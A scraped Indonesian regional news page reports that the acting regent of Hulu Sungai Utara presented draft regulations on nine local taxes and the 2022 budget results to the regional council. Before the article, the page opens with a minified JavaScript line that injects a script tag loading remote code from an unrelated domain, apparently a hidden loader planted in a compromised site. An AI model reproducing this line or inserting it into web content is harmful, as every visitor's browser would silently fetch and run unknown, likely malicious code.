(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Pj Bupati HSU Sampaikan Dua Raperda, Ada 9 Jenis Pajak Daerah 3 Pajak Baru


KANALKALIMANTAN.COM, AMUNTAI – Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Raden Suria Fadliansyah menyebutkan realisasi pendapatan daerah tahun anggaran 2022 melampaui target mencapai Rp 1,3 triliun lebih.

Hal itu diungkapkannya dalam rapat paripurna dengan agenda penyampaian penjelasan kepala daerah terhadap dua Raperda pajak daerah dan retribusi daerah, serta pertanggungjawaban pelaksanaan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2022 kepada Dewan Perwakilan Rakyat Daerah (DPRD) HSU, Senin (29/5/2023).

Pj Bupati HSU Raden Suria Fadliansyah menyebut sebagaimana pelaksanaan APBD tercantum dalam ringkasan laporan realisasi anggaran tahun 2022 pada pos pendapatan daerah, semula ditargetkan sebesar Rp 1,235 triliun menjadi sebesar Rp 1,346 triliun lebih.

“Atau terealisasi lebih kurang 109,01 persen,” kata Pj Bupati HSU.

Baca juga: Penerbangan Kloter 1 Embarkasi Haji Banjarmasin Tertunda 2 Jam Lebih

Sedangkan untuk pos belanja daerah, lanjutnya, semula ditargetkan sebesar Rp1,456 triliun lebih, menjadi sebesar Rp 1, 227 triliun lebih atau terealisasi 84,29 pesen dari total anggaran.

Selanjutnya dalam pos pembiayaan daerah, penerimaan pembiayaan daerah, semula dianggarkan Rp 275, 584 miliar lebih, menjadi sebesar Rp 213, 432 miliar atau terealisasi sekitar 77,45persen dari total anggaran.

Kemudian pada sisi pengeluaran pembiayaan daerah, semula sebesar Rp 54, 250 miliar menjadi sebesar Rp 11, 750 miliar atau terealisasi sekitar 21,66 persen dari total anggaran.

Sementara dalam Raperda tentang pajak daerah dan retribusi, dia menyampaikan secara substansi mengatur 9 jenis pajak daerah, yakni PBB-P2, BPHTB, pajak barang dan jasa tertentu, pajak reklame, pajak air tanah, pajak minerba, pajak sarang burung walet, opsen pajak kendaraan bermotor, dan opsen bea balik nama kendaraan bermotor.

“Dari 9 jenis pajak, terdapat 3 jenis pajak baru, yaitu pajak barang dan jasa tertentu, opsen pajak kendaraan bermotor, dan opsen bea balik nama kendaraan bermotor,” terangnya.

Selain itu, dia menyebut dalam Raperda yang diajukan juga mengatur mengenai retribusi daerah yang terdapat perubahan, baik pada retribusi jasa umum, retribusi jasa usaha maupun pada retribusi perizinan tertentu. (Kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Al Ghifari

Recent Posts

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

3 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

5 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

6 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

6 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

9 jam ago

Eksportir Kalsel Didorong Kirim Produk Lewat Daerah Sendiri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Wilayah (Kanwil) Direktorat Jenderal Bea dan Cukai Bagian Kalimantan Selatan (DJBC… Read More

10 jam ago

This website uses cookies.